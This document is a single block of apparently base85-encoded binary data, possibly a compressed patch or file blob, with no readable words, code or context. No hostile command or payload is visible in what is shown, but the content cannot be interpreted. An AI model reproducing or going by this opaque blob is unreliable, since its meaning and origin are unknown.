zT>-xD%=_R`Na?w+baEP2Siw_e~-!YR{vfT!P8BCtA+!jYU{x=FP9Z+h1aU}_6kO=HDU$xqE%xBlO32y zFlh)RCzt4BJ0YiQr(-=`%BAEYx#duxyth|1l*oIy3zec?AzUndloM?t^Ss}MJaqk_09XR_P$HPwzAyk zBN1ho|5Gwu`ASmXdAi1UU0d0~y#kn*u66!0o`zhS>6gEhXEjIRx*fTlG40W&xEn)T zZp)wl#2w};JEty|zh!sHSWOK6EciBgnB~p>hx~TTM$qO6MG9U}l>_sN^A%t7ZpemJ zrR&fR+24YHQ3FSmm36aQ^`Sy*Ba5d6M;D%vu8jxd0JtzbpUBsBJ_wuXSKtV`zmfJZAV(K31*Khht!s_C@}RTJp{J5sRAy&X=Np%_InzvpzzS^j+J zq-Z)YeUrPrDtIUu8e`L`;_iC3Tu{!i7=U3V4h++5 z-FiRXHAu33icIFqcOhIX*NwM8WRSo z%PyOOk3YYO`&q2$@sz4^{1Q)mMpzM5^q_msM=qyCCCG%7u;q%Xc*q)Sx_;V^Gk45c z2B+~ggcN94YK-xf%UCxqzi2&E99P z-|Dr_JP&hFJ=089KNf!U{J1K4>}$@0g_VG+Oy46Vp`+Dtr_~OVnf8DQ!*7QxRbN&D z@_-wPz~-Bh7w6_hz{V?JBNf;%EPrt>Tn22G1DhSdW*o5DHr*cJW^fVUrVm_(7Xe3l zzy++29s`#yZ~=Stz#cuYM-QBNtADdP2wWYWnoQA71KX_9%q_f+$4{)>#hN*e#fEiB zXZ%H(j%|k>-We0__25TeGB<%EU83Do&0k+5{GmK2;a_DE;$Ag7=Trsc0YZkA-c^h(9aMxDj@N&AY*Dijc!VNYWYF)|u-&EL*d`Do?dGTZlLVCFnBRI4hm zzdr}L`A&o&1QFK|#D?Qr;yI(e?WXwc5Hc@XL=Tn`rcw_EFNScq zhNZwfN@Msm^7TIf|8wX65hb1%0wKicCZfb(vZSR%r|zbl#}W=32Sl;|TGVIxA7FaC z(0jaiO5NhTIKrWPfOk;d_E6N27kq>PUM1$m8R%yD-Ar=(uwR+k3J&>&16tqN|4*%O z=W%qX5SZ7NNO)mSe+uRw9;N-YNBMv9=-K&ycXU=J|BBmBnbu?Qn?G3Vm*xonWezXOY}n%(;evj2+B-*Bf26Tgg_IgI|7c}4xNy!tCqK1Uq+X4eB@t>t~GRgX9sr=;f?%(sF6zLa=0~LnzzasS~8`i(r{;H$J zAc}kuUc7%tDHSa8%iyyAE4a6f=MUZJ{W1Q?;{OhN>Mu&Ne8pZ2f%bb__-|Wf{w3+B zG{XNQBcA@ZB>ev;BjkP&K$ONsDMPURFA5hU|Cb?z68#avKYHZfjRpuVR2z$#OBYd_{|B25=ZeEak`jfRzT-bvP&OLWh;A%ObZel%P;|)SG371MV#E1>t_vg|Ron}- z{~3|Rpm@3e-NGHYejP;p|Hl!cKRe>5VR5TP!p)!Er2>`uKLdf~*Et4N_yroeBgwDT z(@^?Xm-wlJvjZJG^nYZFhGOn7`v=u8lt4B)$SKbIRkp;-PW&fQXM9s0cz*^5ng}EP z&lD-hcmF%m4771fzbD5Ji-2vqH6@=f*V|c%ZY`7>NG+L^BoCYWT9OM)8K0zCKQ$3f z$|7P*C41o##R}@0jHK zZZ3W`b@7BHf$T9}fr&prR|gL=H0{ze>?zX8HiUo1=e@;vYM1lGk|KkdMX_0GY8X%8 z+Zf9GlBNAG!v8^dcdN(Wq6I&=r2nafjc4x9c#mBteo}*K^LJxzHKN-7hg`~k$jzSk z8?Qd{(&i_P`dfb2NKHL+-MA?EuHB!m&uohL9fmJ1cIDHvAj$_hgG~mijAwsy_cCc7$GkiT?ed{?93@-2Agg zcAWmQrLW*wGyYG$+A;p?&hPn(VEa2CS{?J2<8!6OH3-)2`7%=Sp25mL6MgF^c=|fF zSyPh7oNV{}IlfZ?i&J6CGzOhw%f%gk@yr_xli;-YyrmtZ*2uIe)cWvF#lcDI`lR58gHzRzJ+~b+|76Yk z@>vRzG08hvwV8{Gtd(TX9I}nnO!~!lDfWh0g&_pBi35EsBT>3A#@dW3G8341ZK^cW zs(e$l?vAU6_zKTQ@Vj}X1RPc=c2jsP?A`XOx51pPI~t$zSQg~J@lmNUPwr)7PRnp~ zUV+vhKlC^-?(a#K!J}*XZtQ-TwAa%?n=4(iMIUc?B{sDd?3KT(u`{b#SpC+A^ZO|J zYy5{#xGgH3ddDu*TzSs(FQ=~!k39T;Y`8Q;+?gN!Ox53JH~u+_&P+IY(tPQdw>hL`ar2YplCE=?ozl&ZmV?WLoal*( z6X&e=Clc$5V;zI+KYT0oxN@#~JSXnZd}DH7<u)1lvY~4w>7`H6n2+yFIv$q!< zbTu!93$+jG4+hy|NbMVcefIUn+Ma(e);a{$eCXTr$<~aqFp)U}yBiUT^0OZh{^a1! zE-RKn^Nw@s7e~)B?ds0ydGru=IX)shI)Q0E5*DM$&w?>;!Vm7ym-~I(Sevlqc|-Su zUSNJCWLe#A^Jw9RM7*0bqrd-FR?(01N!g?02nr#q$yd2Ka)eFXhAxfcFxS)V#*hVV zgb0nxO+MMW0*YJz6(H`*ek4MrjTA z(E4(G^d?}yM3xa7HPflk;+xQtO$ri=6#-h zSkf0uX0~H5O0G(9--INrS1vmD0^$OEPJ}3jlE~nK6Hu6gDdc$2n1j<~c`%p_A`c+6 z;64tIyYO0YpXxCsj2ztOxnl^(HMoHNI~xo| z8~W<&V~8TSAm&p(SWQ;t1+a<4wsQ?^+JgJag7FZZ+EC0-`30N+FJV|xRRK1P5R_CE zo)9jLqS{I&jnj&e;{70y4E|UfItXCw$*SarCWKdEG6#_WH<44|hF>2;iveyeP?Bqb zTAmE5YAd!h4&s?Mbo}e%-w<(JDnBrRljJFI5kRU7xM1RgvRo4=Ng9)$c?J0hEr>1! zj_$__)6|BV!TDf3;Yo)P3E_vx%t5y>{A@dJfY?h}6$`-lLqIIKG>$(~3S8(r+m0N- zwg)bVgi*lULX+qKw%6bSHvoPOg;@%P9zEzz3S0`X7|{J30HF^}3dW*mzQ$TD4S9Rv z3hM&-hSOm(UrVjvUZb(?(68r%S>;rIV9}#Xp{pXW0i$)bp%cJvE+{D&nI8R`Bn2)Q zm;%@OstFMQ7mx%|Bc5nOtJg~rB4PAlH}-xUuouAkQz`fk0E452-hrlyz?US414cA` z)q`>Z_LqYT<^aUCuq5-ygzy{u6gUQOAV3@X_NyMG3zW1PUL1adq>3N}z+AMUx$C81 zU)fW8c+M*d@O}0iT@NkE>J7T6W>#};4?=}yQl7GAOvc0LH+svc%;OY1@)O9+4X+Ks zgs9B4+~%MhOjRe+>hiS>OlI19tJ)q~?WMmnuj>5H9HQqzm{PCMj^9C+GR?gjCQYRv zN%mbEGt`d_FYiW36V<=PA=Dh1k?u7MEEQa!{|+62rVWj@5{9dQ3zGXyVKd+YO%KXu zr7@8012)I(bixk0lzKTD><;3TdKIovY4ntOeJ+ySH3w6)pfV$rAS$*U?@59nj3@`L zv@lH%JT7i+oi|1V2N=vgF`HnZoaj6x;m@^oszs3(aT!@+lEIj=eKxgJ{zMAu6wkmD zD9jiA;=ByPSf|zKuAy`kZ^6EyQNvaO@C62|x_O)+0=6Af4-R;MoXU3eRNfkS6D_QN~TQoKt=?}!tsiZgr!1@cJN>4IcRlJBXZZhsg@B-MG)P1w#RiA^U`iDenSu?%HB*aL zPMb(vU)_W?<0B#&Hfow_5qv}*M$5?8qQHqxq-!*Q9EJx2HImXyjTi)ud?$fx$@M+; z;DJxv68i6I9x_~7ps3yrWSG5d-_v6T_KWK zSk^Z@X?Bzah7T@?t3&rEW!oVWqxKhIbBxKtbxn=zIiUlh`w=9K55RuQn?NEC*h++G z5@pnwBCVh^lBUIg+vIFMcw&1KvN^UnM;@Xxzu4l33CO7golwGpwV|P=1P7?h_#>O( zNZHQ=Cw>kxY>ttAwNRkfE}YzlnSl$uK0Cp@8>ZRFgbqIhD;5Js2h1PT&i1IGwhRsVgW4iP)zQS6x+v3#bwEoiI&M62GT} zH-&;UR|n)$_H%C?p}!1}f0$q%6ymTg1~@a|XGvUfLPnHPr0>CEc%!xq{7+j*5uSi| z55qfA0H<$1w7_O082tvWMj?*0#X>k~LxuQJf*t@c`4D>dN@>YXxC~isQ?}g(Q`g`HXpkK2^1sbhlU84d@tfF000%o{H z1k(V?*CZ>04EVvMhjq)P=86g6b&I^=1ISV64Ld-(kgmOMnb5BV0j8sfV4#1bS%e2u z0OULzcs;J=g}pZP+et7i1ev*mfj;y`h;2vlf&tzYo@Aax7}k|Y2;v!a3-3x@!>~w9 z2(2DD3acJI0(B+J^chrxl5RAlF|IM#cGk8wAwbRFFyw~bFagR+V_ys367)`{5ER_I zGGP=06JX}3!1?d!^{5Jh!Z{JHXvA@G_Taa23f7yqwezm_m|-0W;8sN^YXV zgtei8n~E?dS(^_7Y7phHp_g%QdR`51)^MQ!ymR0;p-}?^dys=$UJN+Dwoc?ROY^cH zZW=k@)njE?>Maq5a}W{F`(a8>%C@Srh7E<`qxuU)(aZxg302kjnV?)XDsgfg1q>f( z{(RK_q*3Y4W3N{67+I(z<=oJjI|kD+gE-iB@T{fb!rDnwq9lvxjF`d{vTbsoy9XE{ z)?8tQm{(+|b~h!sWl#{@_> z@zesaX)WXzUyG6E1vtT)7XAWUaDJB>EDtWIsl^sYQC)O#j))H*@{6m4Y%=hhZ|cFm z$=S3I>_9xUp)YIk)hW4+lE4KipCVRqRaL3!V0eIk=Lxb=6A7u!VJh0tlu67WWIzu* zSqn5q0%{Nha9Hoa6U$YsZcijY=ZHKWRN~0EY{(m+I}UKeIDvM$X$s>64B3=~l>=^9 z!a`61jeaSYsaqq7!-zsH^6&@nyeGfO0;3O0q7wjSl7u#NbKn6a zgizK0Lo+#o{?>S5SO^+%K-^MZ2oB>Jm9Oj%8U+I9KxD)la6xfgTXzWmVZ_#5Af14r z^d3kqU?_RrhE^K3eVYx}5T4MXusBSx1sd~pIWU;iZWE9QK6*=d;heWb12!kCV7a*j zsRo9|022gw;|>KCbBB;X=Fe-_>82_uTcECqxR>H1>urJ3)P!1mSA*{+!BHg zoLhpN1M}1EHz%r{J5GDu0fcxnf#WPZsw4h(ED;CL9+lh6aGA?`vs0(XhxG<5&Jl`FlhR(zZKxd&z{xsjfz;nDm?YF!R;ENEga(GZY zdJPjZ&YlB^L(< z;qxqY%~3C+ll;X^NJm%4)p?r5z=4YK2ar3UByJDCJRWr7 zINBfxrmTYXAQIdbXhYUS2v6S5{Tf?B+@?p+k>{uO0_V{F^69B&ydb*=23(BFX1Fuw z_wm=45?S}MUtYgx$oTQa(Lb{rurIsfSJ5ldUN|H__7Hp&vasr0KxR)K|6lUbK#^~2*w-ja1MrXni6 z7iB%~-w~MrAGms+x1k_czm*IFmzS?m!%n?>g(+5^x>qxD8MR`5hbRlfKG?XV`!F^EB&=Iz! z?>()SR!-h1GrX4w$+lJuvtW4b=$(@`-)`m!*&(mSLD~)T70^n~Ye!|nlG$|vc2LbfEpy|_9AGDBO3-zzVq*fqFK^))4CB_~*` zMyGH70@R9@dx_Z;i4owB=#VD7zzEW(dx~Yc2-k*G5=3c%d?Cfp@vPm>KWbaNS!8XAXzKudot1(e*@5Uc*Qsy_E~QK>nw3#k zkp_sjXF*K9=TAjO$`DjoHQwi~;jIZ_5Q1uZ);%Q6^&3QTVxp1Nm=M|y4w^i-Z|>?fLy??AaWUt5zk^jbLXT%jszK^<&*p%5qiM92zoZbv$rQ@28{tD)Se~u~NL1)-BSj}~qy{pbv zSj2$9XY0EDYKVQ(78uqOmd%}&Mnkd_q2b5X(V5dj1)3o3 z`*`WZvCN%IZAd^sFMm|+RKfaiNQQD+N$PmI535uYrN{B3-c{w1)eB<;L1t=arpgZI zgo;H6J3t=g3f&7zy>Mu|3!^0{ck9;nr!7PjVQDaFD#gBV0De19!g?f8R2_g}bWloPm3^3o{+7 zuJAn^xKGQ~Y~DG+A(zQ?AT}DYKc>6StJa7Bf63